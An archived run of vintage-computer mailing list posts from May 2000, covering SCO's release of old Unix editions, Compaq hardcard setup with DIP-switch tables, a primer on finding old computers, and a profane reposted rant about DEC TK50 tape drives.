Subject: mechanical analog part In-Reply-To: <391682D8.C7F3232F@home.com> Message-ID: <200005151852.LAA15540@civic.hal.com> Hi Doug You might be interested in: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=330171722 Dwight From ethan_dicks at yahoo.com Mon May 15 14:05:28 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:47 2005 Subject: SCO site has Unix for download Message-ID: <20000515190528.18684.qmail@web612.mail.yahoo.com> --- "Zane H. Healy" wrote: > >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V > >available on their site for download... > Also, does anyone know if BSD 2.11 is going to be available? I suspect > it's the one that I'd be most interested in. I'm interested in 2.11BSD as well as 2.9BSD - I have ancient 2.9BSD tapes that I converted to container files and ran on my SPARC1 many years ago. What I don't have is the source tape - mine developed a read error, and even in the mid-90s, I wasn't able to extract from it. It's so old now that I'm sure it's hopeless. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From elvey at hal.com Mon May 15 14:08:38 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:47 2005 Subject: mechanical analog part In-Reply-To: <200005151852.LAA15540@civic.hal.com> Message-ID: <200005151908.MAA15746@civic.hal.com> Oops I meant that for someone else. Sorry all Dwight From ckaiser at oa.ptloma.edu Mon May 15 15:28:02 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:47 2005 Subject: XE GS, encore Message-ID: <200005152028.NAA10896@oa.ptloma.edu> Well, for those who remember, a couple of months back I got an XE GS for $2 but with no power supply, so I couldn't test it. Someone sent me some very helpful information about it, but I lost all my mail in a HD incident a month ago. I would love it if they could resend it :-) Anyway, it powers up, now that I found a 130XE power supply to plug into it, and it goes through all the self-tests 100%. I also found out how to launch it into BASIC, but the problem was that it would not STOP going into BASIC when I powered it off and on again, even if I didn't hold down any buttons on the console! Also, I cannot seem to figure how to launch the second? game that is supposed to be in it -- it comes up with either Missile Command, the Self Test or BASIC. (I got it out of permanent BASIC mode by disconnecting the power, but there's got to be an easier way. And where can I find a GS keyboard?) Anyway, suggestions appreciated. I have precious little experience with Ataris, and even less with Ataris that work. >:-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Dalai Lama to hotdog vendor: "Make me one with everything." ---------------- From cmcmanis at mcmanis.com Mon May 15 15:40:14 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:47 2005 Subject: OT: hard drive serial numbers? Message-ID: <4.1.20000515133342.00befb50@mailhost.hq.freegate.com> Random question : Does anyone know how to change the "disk serial number" on a FAT32 partition? (a search of the web came up empty) --Chuck From ard at p850ug1.demon.co.uk Mon May 15 15:35:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005151748.KAA15198@siconic.com> from "Sellam Ismail" at May 15, 0 11:42:40 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2306 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000515/539bb63a/attachment-0001.ksh From owad at applefritter.com Mon May 15 15:47:41 2000 From: owad at applefritter.com (Tom Owad) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> >Let Them Come to You > >One way to find vintage computers is to let them find you. >Try placing an ad in the classifieds section of your local >paper. Be sure to specify exactly what you are looking for >to avoid getting a flood of false leads. In the very least, >include a cut-off year indicating you are not interested in >any computers manufactured after that year. Anybody try this? What kind of response did you get? Tom Owad ------------------------------Applefritter------------------------------ Apple Prototypes, Clones, & Hacks - The obscure, unusual, & exceptional. ------------------------------------------ From spc at armigeron.com Mon May 15 15:59:01 2000 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:52:47 2005 Subject: OT: hard drive serial numbers? In-Reply-To: <4.1.20000515133342.00befb50@mailhost.hq.freegate.com> from "Chuck McManis" at May 15, 2000 01:40:14 PM Message-ID: <200005152059.QAA22313@armigeron.com> It was thus said that the Great Chuck McManis once stated: > > Random question : > > Does anyone know how to change the "disk serial number" on a FAT32 partition? > (a search of the web came up empty) I don't know of any commands short of DEBUG.EXE to change the disk serial number, and the information I have is only valid for MS-DOS 5.0 (I have no information past 5.0). If the disk serial number is the same as the volume id number, then that is located at byte offset 41 of the first sector of the partition and is four bytes long. It's immediately followed by the volume label (name). I think I have the offset correct, but the table I'm viewing has inaccurate offsets for some of the fields (but the order is correct). -spc (But be careful in modifying that sector ... ) From red at bears.org Mon May 15 16:26:16 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks Message-ID: Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line with my normal interests, but the owner had the right personality and convinced me to do it anyway. One thing she told me she had always wanted to do but never managed to get done was install a hard card in the box, which as she bought it, had only two 5.25" floppy drives. Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was sold as-is, but for $1 I figured I'd take a chance. I'm having problems with it, and the problems I'm having don't seem to indicate a real hardware problem, but I'm not too familiar with hardcards: * The Compaq setup utility recognizes it as a "type 11" disk, but conveniently neglects to tell me anything about what this actually means. Thinking of it now, I should RTFM and see if this information is listed in any of the dead-trees docs I got with the machine. * PC-DOS 3.30 fdisk sees a 77 MB disk with a single non-dos partition, which seems correct, as at 80 MB it wouldn't be FAT12. * PC-DOS 3.30 fdisk hangs when trying to write any partition information to the disk. * MS-DOS 4.01 recognizes the disk and I can get a directory listing of c:\ * MS-DOS 4.01 fdisk hangs when trying to write any partition information to the disk. Where should I be looking and what should I be trying to make this work? ok r. From rutledge at cx47646-a.phnx1.az.home.com Mon May 15 16:41:01 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks In-Reply-To: ; from r. 'bear' stricklin on Mon, May 15, 2000 at 05:26:16PM -0400 References: Message-ID: <20000515144101.E594@electron.quantum.int> On Mon, May 15, 2000 at 05:26:16PM -0400, r. 'bear' stricklin wrote: > * The Compaq setup utility recognizes it as a "type 11" disk, but > conveniently neglects to tell me anything about what this actually > means. Thinking of it now, I should RTFM and see if this information > is listed in any of the dead-trees docs I got with the machine. Or on any other PC that has a real BIOS setup menu, select type 11 as an installed disk and see what it says... usually it has a table with all the parameters (heads, cylinders, sectors per cylinder, landing zone etc). -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From foo at siconic.com Mon May 15 15:43:20 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <200005152049.NAA19044@scaup.prod.itd.earthlink.net> Message-ID: On Mon, 15 May 2000, Tom Owad wrote: > >Let Them Come to You > > > >One way to find vintage computers is to let them find you. > >Try placing an ad in the classifieds section of your local > >paper. Be sure to specify exactly what you are looking for > >to avoid getting a flood of false leads. In the very least, > >include a cut-off year indicating you are not interested in > >any computers manufactured after that year. > > Anybody try this? What kind of response did you get? Not a newspaper ad, but posting a Usenet ad was quite possibly the best thing I could've ever done. I posted several ads in the local for sale newsgroups periodically over the course of several months and turned up all sorts of good stuff. From retro at retrobits.com Mon May 15 16:46:25 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:52:47 2005 Subject: Finding Vintage Computers - A Primer References: <200005151748.KAA15198@siconic.com> Message-ID: <002601bfbeb7$04ed33d0$0201640a@colossus> Looks great Sellam! You've got roughly the same sources that I listed in part II of my article on collecting: http://www.retrobits.com/col-article2.html You also have some additional information, such as some pricing hints, advice on haggling, etc. If you'd like, once you get this primer in it's final form, I'd be happy to post it on retrobits.com (or a link to it, if you have it on your web site). Regards, - Earl ----- Original Message ----- From: "Sellam Ismail" To: Sent: Monday, May 15, 2000 11:42 AM Subject: Finding Vintage Computers - A Primer > Comments please! > > > Finding Vintage Computers - A Primer > by Sellam Ismail > sellam@vintage.org > http://www.vintage.org > 1st Edition - May 15, 2000 > > > This primer is intended to give you ideas that will help you > find vintage computers in and around your general vicinity. > It was written to aid the many frustrated collectors who > believe they have exhausted their local sources and still > cannot find any old computers. Well, I assure you this is > not the case. Old computers can be found in a lot of places > that you did not consider. > > Keep these principles in mind when determining what to pay > for old computers: > > * some people are just happy to have their old machine > go to a new home > * the bigger the machine, the less money it generally > sells for > * for some large machine, people are sometimes willing > to pay you to haul it away > > > Flea Markets/Ham Fests/Car Boot Sales > > We begin with the most obvious place to find vintage > computers, the Flea Market/Ham Fest/Car Boot Sale (I will > refer to them as "flea markets"). Flea markets can occur > with frequent regularity or just occasionally, from several > times a week to perhaps once a year. Usually they are > comprised of people trying to get rid of their old junk. > > At the more general flea market, finding old computers is > usually a challenge. Most of what you will find is the sort > of junk that you already have stored away in your garage, > basement, attic, closet, etc. But occasionally you will > find old computers, and the advantage here is that most > collectors won't bother with these sorts of flea markets, so > the competition is low. > > You will be more likely to find vintage computers at Ham > Fests as most radio guys (and gals) are also computer users. > Many Hams were early adopters of microcomputers during the > mid- to late-70's and as such are likely targets for finding > some of the more interesting early micros such as S-100 bus > machines as well as mini-computers. > > You can generally expect to pay prices in the range of $5 - > $50 for most vintage computers that show up at these events. > Occasionally stuff can be had for free, since the seller > just wants to get rid of it, or you can wait until after the > event is over and head over to the trash bins where you will > find all the stuff the sellers didn't want to take back home > with them. > > Haggling at flea markets is mandatory. Never pay more for > an old computer than you have to. Learning how to haggle > properly would take a whole other primer. The way to get > good at it is to just go out and do it. > > If you don't find any vintage computers at Ham Fests, don't > get discouraged. The fact is they just haven't found you. > It might be well worth your while to rent a space at the > next event and put up a table of your own. Display signs > indicating you are interested in old computers. A lot of > the people attending the ham fests as buyers also have old > computers that they'd like to get rid of and you will meet > many people this way. The price of a space is usually not > very high, perhaps from $10-$50. > > To find Flea Markets/Ham Fests/Car Boot sales in your area, > look in the classified ads section of your local paper or in > the small classified periodicals, or check the upcoming > events listings for your local fairgrounds as a lot of times > those are venues for large flea markets. Better yet, hop on > over to http://www.openair.org/ which is an excellent online > resource for finding flea markets and ham fests in your area > worldwide. > > > Thrift/Charity Shops > > Another good place to find vintage computers is at your > local Thrift (or Charity) store. Almost every city has at > least one. The bigger cities will have many. The most > common ones (in the United States anyway) are The Salvation > Army, Goodwill and St. Vincent de Paul. In my experience, > these are NOT good stores to find old computers. Usually > they take all incoming computers and sell them at special > sales. Or, if old computers do make it into the store, the > pieces to it are usually not all together, or in some cases > the parts to one computer may have been scattered across > multiple stores. > > The better thrift stores to look in for old computers are > the stand-alone stores or the for-profit chains. They > usually won't sort through and separate the items and so > you're more likely to find old computers at these. > > Prices vary from ridiculously cheap to just plain > ridiculous. Some stores have no concept of a computer being > obsolete. To them, a computer is an expensive, fancy device > that is worth lots of money, and they price them > accordingly. Others don't differentiate between an old > computer and an old toaster, and will sell computer items at > the same prices they sell the rest of their appliances, in > many cases for only a few dollars or less. Some stores try > to price computer items separately but can't tell the > difference between modern day PC components and old computer > parts, and as a result you'll see vintage machines selling > for the same price as the more modern machines. > > Some thrift stores will slash the price of their items for > every week that it does not sell. If something is priced > too high you might wait until the following week and buy it > at half off! Ask the store what their policy is. While > you're at it, don't be afraid to make an offer on an item > you are interested in. Haggling at thrift stores is OK. > > To find thrift stores, look in your local phone book, or > check the web. Many of the larger institutions now have > websites that will direct you to the nearest store. Search > for them online. > > > Electronics Surplus Shops > > If you can find them, electronics surplus shops are great > places to find vintage computers. The prices are generally > high at these stores but haggling is sometimes acceptable. > It's always best to just ask. > > Look in your local phone book to find electronics surplus > shops in your area. You also might want to try looking for > general electronics repair shops, as they may have old > computers laying about their shop as well. > > > Colleges/Universities/Schools > > Schools are great places to find aging computers. Oft times > an old machine is tucked away in a closet or basement and > forgotten. Many schools have periodic rummage sales to sell > off obsolete equipment. Ask the school administration if > they have these sales and mark your calendar for the next > one. > > You might also want to try contacting the teachers and > professors directly as they may have knowledge of old > computers that are no longer in use. The best ones to > approach would be in the physical sciences departments: > chemistry, physics, biology, etc. Of course, the Computer > Science department would also be a good choice. > > > Auctions > > An auction is sometimes a good place to find vintage > computers, especially if it is an auction to liquidate the > assets of a company that used computers in its operations. > Look in the classified ads of your local paper to find out > about upcoming auctions and estate sales in your area. > > Of course you can also try the online auctions. eBay is, of > course, the most popular of the auction sites for finding > vintage computers. However, competition is fierce, and as > such prices are generally higher than you would pay at other > venues. Bargains can be found by performing searches that > locate items not listed in the categories specifically for > old computers. > > > Scrap/Salvage Yards > > If you're looking for "Old Iron", your most likely chance of > finding it are in scrap yards. The precious metal content > of big mainframes unfortunately sends many old computers to > a frightful end. Try to find scrap yards in your area and > ask the owner if they ever get old computers in. If they > do, try to strike up a deal with them. Tell them you will > pay them some amount over scrap value (for instance 10%) for > any old machines they haul in. This will make it worth > their while to work with you. Be forewarned: many scrap > yard owners can be mean & nasty, and legends abound of > various ones destroying perfectly good vintage equipment of > all sorts either because you offered too low a price or just > because you look funny. They are notoriously rude and > generally just unstable people. Of course these are just > generalizations, and your situation may vary. > > > Classified Ads > > Of course you can always try searching the classified ads of > your local paper, as some vintage computers do occasionally > show up in the listings. Of course, don't neglect the > Usenet for-sale newsgroups. Better yet, check for items > listed for sale in the many newsgroups dedicated to specific > computer platforms. > > > Let Them Come to You > > One way to find vintage computers is to let them find you. > Try placing an ad in the classifieds section of your local > paper. Be sure to specify exactly what you are looking for > to avoid getting a flood of false leads. In the very least, > include a cut-off year indicating you are not interested in > any computers manufactured after that year. > > Better yet, try posting an ad in one of the many Usenet > newsgroups dedicated to older platforms. Or you can try > posting an ad in one of your local for-sale newsgroups. > > > The Traveling Nerd > > If you take frequent business trips to other areas, try > scheduling time during your trip to search out old > computers. The areas you visit may be fertile, untapped > grounds for finding vintage machines. Upon arrival, check > the phone book for any of the various sources listed above. > You may also want to try to time your trips to coincide with > any large flea markets or ham fests in the area and arrange > to stay during the weekend so you can attend the event. > > Once you've acquired vintage computers whilst away from > home, you'll soon realize you have to get them home somehow. > This is not a problem. Most airlines allow two check-in > bags (up to 65 pounds each) and two carry-on bags per > passenger. Find a sturdy box and some packaging material > and pack your findings, then check them in at the airport as > your baggage. You can find boxes and packaging materials at > a local mailing center, or at moving vehicle rental > locations such as U-Haul. Pack your box well! Luggage is > designed to absorb the abuse that the luggage handlers > inflict upon it. Boxes are generally not. Use as much > packing material as possible and pack it tight. > > If taking items back with you on the plane is not feasible, > you can always just have the stuff shipped back to you at > home by using your preferred shipping carrier (i.e. UPS, > Fedex, etc.) > > > Where Else? > > Finally, some other resources to try in your quest for > vintage computers include: > > - Hi-tech companies in your local area, especially ones that > have been around for a while and may have accumulated old > machines > > - Local utilities (power, water, telephone) sometimes have > surplus sales, and also have rather large dumpsters (skips) > that are worth checking occasionally > > - Other collectors who are retiring from the hobby > > - Family, friends and neighbors and their family, friends > and neighbors...tell everyone you know you collect old > computers! > > Finally, if you live in an area where all of the above > resources are either lacking or have consistently turned up > nary a floppy drive, it might be worth your while to plan a > weekend road trip to a major city nearby. Try to do > research in advance to find out where all the thrift stores, > flea markets and surplus shops are, and plot out an > efficient route. Bring along a sizable vehicle, lots of > money, and preferably a companion to keep you occupied > during the boring long stretches. > > Above all, remember this: collecting vintage computers is an > exercise in resourcefulness! > > Happy Collecting! > > > Copyright (c) 2000 Vintage Computer Festival > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > From sipke at wxs.nl Mon May 15 19:05:30 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:52:47 2005 Subject: Is this for real -- a new C64/128 References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <002901bfbeca$73416500$030101ac@boll.casema.net> The Comodore Trademark has been sold and resold in Holland in the last six years as far as I can tell both the Tulip and the Escom company have at least been holder of the trade mark and at least one of them payed no more than Fl 100,- (=$40,-) I dont know if this applied only to a dutch (benelux) trademark or the worldwide trademark. If the comodore company once again exists it is certainly not the same company that gave us the VIC & the C64. My guess is that the trademark was for grabs once more and somebody is trying to beat a few more bucks out of it. Branding a run off the mill clone with the comodore logo and supplying a couple of emulators and a special keyboard with it, truely sounds like a hype in the making. It'll blow over pretty soon. Sipke de Wal > > The site looks raw enough to dissuade me from believing anything will come > > out of this. And how is it going to benefit with having a 6502 onboard as > > claimed if there will also be a 200-500Mhz processor, and everything else > > indicates emulation? It's obvious this will simply be a PC, and putting > > together a machine with the specs this one will supposedly have requires > > some expensive engineering. > > > > Look lower on their page, where they advertise the C= PC. I think that > > tells us what they truly are trying to sell. The "Next Generation C64" is > > just hype to suck you in. From cmcmanis at mcmanis.com Mon May 15 18:51:10 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> I finally found my VMS 5.5 TK50's today and thought I would try to install VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing B MUA0: It reads and reads and reads ... Now I know TK50's are _really_ slow to boot (NetBSD takes about 5 minutes) but is this the only thing going on? There isn't some boot flag I need to give the tape to insure that it does the right thing is there? I keep expecting to see the standalone backup prompt and I keep right on waiting.... --Chuck From donm at cts.com Mon May 15 18:50:18 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks In-Reply-To: Message-ID: On Mon, 15 May 2000, r. 'bear' stricklin wrote: > > Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line > with my normal interests, but the owner had the right personality and > convinced me to do it anyway. > > One thing she told me she had always wanted to do but never managed to get > done was install a hard card in the box, which as she bought it, had only > two 5.25" floppy drives. > > Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was > sold as-is, but for $1 I figured I'd take a chance. > > I'm having problems with it, and the problems I'm having don't seem to > indicate a real hardware problem, but I'm not too familiar with hardcards: > > * The Compaq setup utility recognizes it as a "type 11" disk, but > conveniently neglects to tell me anything about what this actually > means. Thinking of it now, I should RTFM and see if this information > is listed in any of the dead-trees docs I got with the machine. My experience with hardcards, albeit somewhat limited, is that they should not be setup in CMOS. Those that I have seen and worked with have a controller with its own BIOS and are accessible or will boot with no further action required. I have one now of 127mb that gets lazy occasionally and requires booting from floppy and accessing for DIR. Usually following that it becomes bootable. The Hardcard has an accessible DIP switch on the top that allows setting of some parameters, e.g. IRQ and BIOS address. I append some information that I d/l'd from them that may be helpful. - don [INLINE] [INLINE] Product Name: Hardcard IIEZ Serial Number Codes: GDF, GDG, GDH and GDJ Formatted Capacity: HC EZ42 42MB HC EZ85 85MB HC EZ127 127MB HC EZ170 170MB HC EZ240 240MB Average Access Time: From 19ms to 16ms. Interface: ST506; BIOS driven as IDE Driver Needed: ATDOSHC.SYS Must be installed in CONFIG.SYS as: DEVICE=ATDOSHC.SYS In order for the hardcard to work in a given system, the user must assign a unique IRQ and a BIOS address. The default for this card is IRQ 11, BIOS address C8000-C9FFF. SW8 is reserved for IRQ 14 (IDE MODE). Due to a bus timing issue, the hardcards are unable to work in most pentium and DX4 systems. Though they will work under Windows 95, they do so in `DOS Compatibility mode'. No enhanced mode driver exists at this time and there are no plans to produce one. If repairs are needed on this unit, please contact: * PCS * tel: (800) 653-3475 * tel: (408) 263-4043 * fax: (408) 263-4097 IRQ ____________________________________________________ ____________________________________________________ IRQ SW5 SW6 SW7 SW8 10 ON OFF OFF OFF 11 OFF* ON* OFF* OFF* 12 OFF OFF ON OFF 14 OFF OFF OFF ON *These are default settings _________________________________________________________________ ADDRESS SELECTION ____________________________________________________ ____________________________________________________ SW1 SW2 SW3 SW4 BIOS ADDRESS I/O ADDRESS DRIVE SELECT ON* ON* ON* ON* C8000-C9FFF* 170-177, 376-377 0 ON ON ON OFF CA000-CBFFF 320-327, 32E-32F 0 ON ON OFF ON CC000-CDFFF 170-177, 376-377 1 ON ON OFF OFF CE000-CFFFF 320-327, 32E-32F 1 ON OFF ON ON D0000-D1FFF 170-177, 376-377 0 ON OFF ON OFF D2000-D3FFF 320-327, 32E-32F 0 ON OFF OFF ON D4000-D5FFF 170-177, 376-377 1 ON OFF OFF OFF D6000-D7FFF 320-327, 32E-32F 1 *These are default settings. _________________________________________________________________ [INLINE] From cmcmanis at mcmanis.com Mon May 15 18:58:09 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: <4.1.20000515165734.044922c0@mailhost.hq.freegate.com> Additional info. It eventually stopped with a "FILESTRUCT?" error. Hmmm, perhaps the tapes are bad. --Chuck At 04:51 PM 5/15/00 -0700, you wrote: >I finally found my VMS 5.5 TK50's today and thought I would try to install >VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing >B MUA0: >It reads and reads and reads ... From red at bears.org Mon May 15 18:59:53 2000 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 18:52:47 2005 Subject: Booting VMS 5.5 from tape? In-Reply-To: <4.1.20000515164829.046c3f00@mailhost.hq.freegate.com> Message-ID: On Mon, 15 May 2000, Chuck McManis wrote: > I finally found my VMS 5.5 TK50's today and thought I would try to install > VMS on my MicroVAX II. The tape loads in the TK50 just fine, but after typing > B MUA0: > It reads and reads and reads ... Bwahahah.. forgive the repost, but it had to be done. Just as a warning, though, the article contains some strong language which may cause your wallpaper to peel just a little. ok r. From: mabbas@staff.uiuc.edu (Majdi Abbas) Newsgroups: alt.sysadmin.recovery Subject: Exabyte whiners and real tape drives (tape drive dick length) Date: 7 May 1997 00:09:35 GMT Organization: University of Illinois at Urbana Lines: 161 Approved: tk50@godless.org Message-ID: Reply-To: mabbas@uiuc.edu NNTP-Posting-Host: ux1.cso.uiuc.edu Summary: TK50s blow. Keywords: TK50 masochism X-Newsreader: slrn (0.9.2.1 BETA UNIX) Status: RO X-Status: A So here I am, sitting with *bootable* install media for my VAX[1]. The catch: It's on TK-50 tape. *One* TK-50 tape. Which means I've got one shot, and only a 33% chance to make it close enough to even get that shot. That's on a good day. Today is a Monday. What follows is *not* useful information. If you have one of these, or have to work with one of these, you're too far gone to be recovering, and this isn't going to help you any. May the God of DEC have mercy on your soul. Oh, and before I get going, those of you who whine about Exabyte drives not ejecting tapes have no concept of a TK50. TK50's *do not* eject tapes. You have to arm-wrestle the drive for the tape most of the time, and even if you're lucky it's a manual eject[2]. Before you can eject the tape, the VAX has to think it's done with the tape. This is a pretty simple concept, if it worked. The TK50s were not in production very long, and for good reason. Rumor has it their replacements are better.[3] I'm going to describe the operation of a TK-50, ignoring some of the things that go along with booting a VAX. If you know them, I'm sorry, if you don't, well, consider yourself extremely lucky. 1) Wait for green light. 2) Pull drive flap up. 3) Stick tape in, right side first or it won't fit. 4) Coerce tape into fitting into the drive. 5) Shove it all the way back 6) Push drive flap down. You may need a hammer. 7) Press Big Red Button. Green light will go off, red light will start flashing, then go solid. 8) Tape drive begins reading tape. Here's where we go off onto a tangent for a little bit, although it is related. TK-50 (drive;cartridge;whole shebang) were designed by complete absolute fscking lusers. The cartridges are nice and small. This is because they are just a reel of tape. The other reel is inside the drive itself. When it starts to read a tape, it snags the beginning of the tape using a leader that whips around the spindle of the inside reel, and drags the tape in past the read and erase heads[4]. 9) Drive reads tape, system boots, all is good. 10) You press the big red button again, wait 45 minutes for the thing to rewind, then it stops and the green light goes on, it moves a servo that allows you to move the drive flap again, then you are permitted to remove the tape. No eject mechanisim whatsoever. Now, on with the show. So here I am, booting the VAX. Things are going good, we get past the 5 minute POST, and the drive starts *reading* the tape. So the media is good and I'm actually thinking I have a chance yet. Then the gods decide that they've had enough fun at my expense, and it's time to get serious. Loading system software. 2.. ?4B CTRLERR, MUA0 ?06 HLT INST PC = 00000E0A Failure. >>> My reaction: "Shit." VAX's reaction: "Yadda yadda yadda *WHOMP* *SCREEEECCCH* *thwap*" "THWAPthwapthwapthwapthwapthwapthwapthwapthwap" [continues] My reaction: "MotherfuckingasslickingpieceofshitasspirateDECtapedrive." Actually, my reaction was much more lengthy and probably much more obscene, but in the afterglow right now that's all I can remember. Knowing that the tape is hopelessly fucked and there went my last chance for a while, I don't even bother with the normal procedures. This is a TK-50. One must adapt constantly or get sucked in. I quickly wrestle the vax for the tape, remove it, and all seems good. But I know what's coming. A few hundred feet of half-inch tape, all spooled into the drives internals. I spend the next half hour removing tape from the drive, clean it up, check everything out, decide to try out this unlabeled TK50 I have. Nope, won't boot. Okay VAX, rewind tape. [Pause for one hour] VAX, surely you must be done with it now. VAX: Nope, it's still in there. I swear. Me: BULLSHIT. I can hear you flapping around empty. You're flapping around so much that the VAX is about ready to take off and my hair is being blown back. Me: Hits the power switch, pops the thing open, pulls the drive out. Grabs toolkit and commences disassembly of the drive. Sure enough, it's done. But I can't get the VAX to let go of the tape until it realizes that it's done, which isn't going to happen. Powercycling et al will not make it realize that it's done, it has to feel like relinquishing it's dinner. So, I'm now dissassembling the TK-50. Sure enough, the magic little leader that feeds these tapes in is broken. Surprise surprise. Tape looks okay tho. It's a couple of hours later, and I have one reassembled TK50, one sliced hand, a screwdriver with a broken tip, a spare black plastic part, three spare washers, a couple of spare screws and a spring. The tape is still in the drive, and I've managed to get all of the first tape into a box for convenient disposal at my leisure. Like I have leisure. Anyhow, I'd like to make you an offer: Free TK-50 tape drive, including install media in need of a manual rewind and a preloaded blank tape. Donatee must pay shipping and psychiatric admission fee. Includes spare parts[5]. WTB: One SCSI Qbus card. I am *not* going through this again. Especially because I took pictures of the aftermath of the first tape, and I'm going to post those near the VAX as a reminder. Let me know if anyone wants scans. Every single bad thing you've ever heard about any tape drive doesn't even begin to describe what the TK-50 is like. Exabyte 8200s have nothing on these things and never will. DEC was fucking up hardware design years before the advent of the 8200. I personally believe that the TK-50 is probably what nearly bankrupted DEC. The number of man-hours wasted in-house wrestling with these things alone is in the millions. It would have to be. I saw an RU-81A today. Now *there* is a sight. Appropriately in a junkyard. For those of you involved with BOFHnet, what do you think of a bofh.tdfh.tk50? This drive definitely has the FH aspect down. *sigh* Down, not across --Majdi [1] Currently hopelessly crippled due to a drive failure. [2] The problem is that DEC assumed that the VAX knew more about what was going on in this drive than the person feeding it ferrite. Boy did they guess wrong. [3] They *CANNOT* get any worse. [4] Which are opposed from each other. [5] You cannot disassemble one of these drives and not wind up with spare parts. They can't be anything important, because the drive has to work to suffer some performance degredation and they don't work, so there is nothing to degrade. -- Majdi Abbas I do not speak for my employer. "Damn, she looked a lot cuter in the bar..." -- Chris Rioux (He may be one of my coworkers, but he doesn't speak for them either) From pechter at pechter.dyndns.org Mon May 15 19:16:35 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:47 2005 Subject: SCO site has Unix for download In-Reply-To: <20000515190528.18684.qmail@web612.mail.yahoo.com> from Ethan Dicks at "May 15, 2000 12:05:28 pm" Message-ID: <200005160016.UAA01427@bg-tc-ppp748.monmouth.com> > > --- "Zane H. Healy" wrote: > > >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V > > >available on their site for download... > > > Also, does anyone know if BSD 2.11 is going to be available? I suspect > > it's the one that I'd be most interested in. > > I'm interested in 2.11BSD as well as 2.9BSD - I have ancient 2.9BSD tapes > that I converted to container files and ran on my SPARC1 many years ago. > What I don't have is the source tape - mine developed a read error, and even > in the mid-90s, I wasn't able to extract from it. It's so old now that > I'm sure it's hopeless. > > -ethan > 2.x bsd is available on CD from the PUPS archive or on Kirk McKusick's CDROM set. However, they're working on the method to make those available, since they require a license and SCO's click-through web site is not giving out license numbers... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From SUPRDAVE at aol.com Mon May 15 19:18:35 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:47 2005 Subject: stupid PC tricks Message-ID: In a message dated 5/15/00 7:54:58 PM Eastern Daylight Time, donm@cts.com writes: > On Mon, 15 May 2000, r. 'bear' stricklin wrote: > > > > > Ok, a year or so ago I rescued a Compaq Portable II. Not exactly in line > > with my normal interests, but the owner had the right personality and > > convinced me to do it anyway. > > > > One thing she told me she had always wanted to do but never managed to get > > done was install a hard card in the box, which as she bought it, had only > > two 5.25" floppy drives. > > > > Friday I picked up an 80 MB Plus HardCard at a local PC recycler's. It was > > sold as-is, but for $1 I figured I'd take a chance. > > > > I'm having problems with it, and the problems I'm having don't seem to > > indicate a real hardware problem, but I'm not too familiar with hardcards: > > > > * The Compaq setup utility recognizes it as a "type 11" disk, but > > conveniently neglects to tell me anything about what this actually > > means. Thinking of it now, I should RTFM and see if this information > > is listed in any of the dead-trees docs I got with the machine. > according to my hardcard20 manual, do not set up and entry for the hardcard in CMOS. there may be a jumper on the hardcard for either 1 or 2 depending on whether its the primary or second hard drive. there is a setup disk, but normally shouldnt be needed. I have a copy if needed. the book also says that it is not possible to LLF the hardcard. DB Young ICQ: 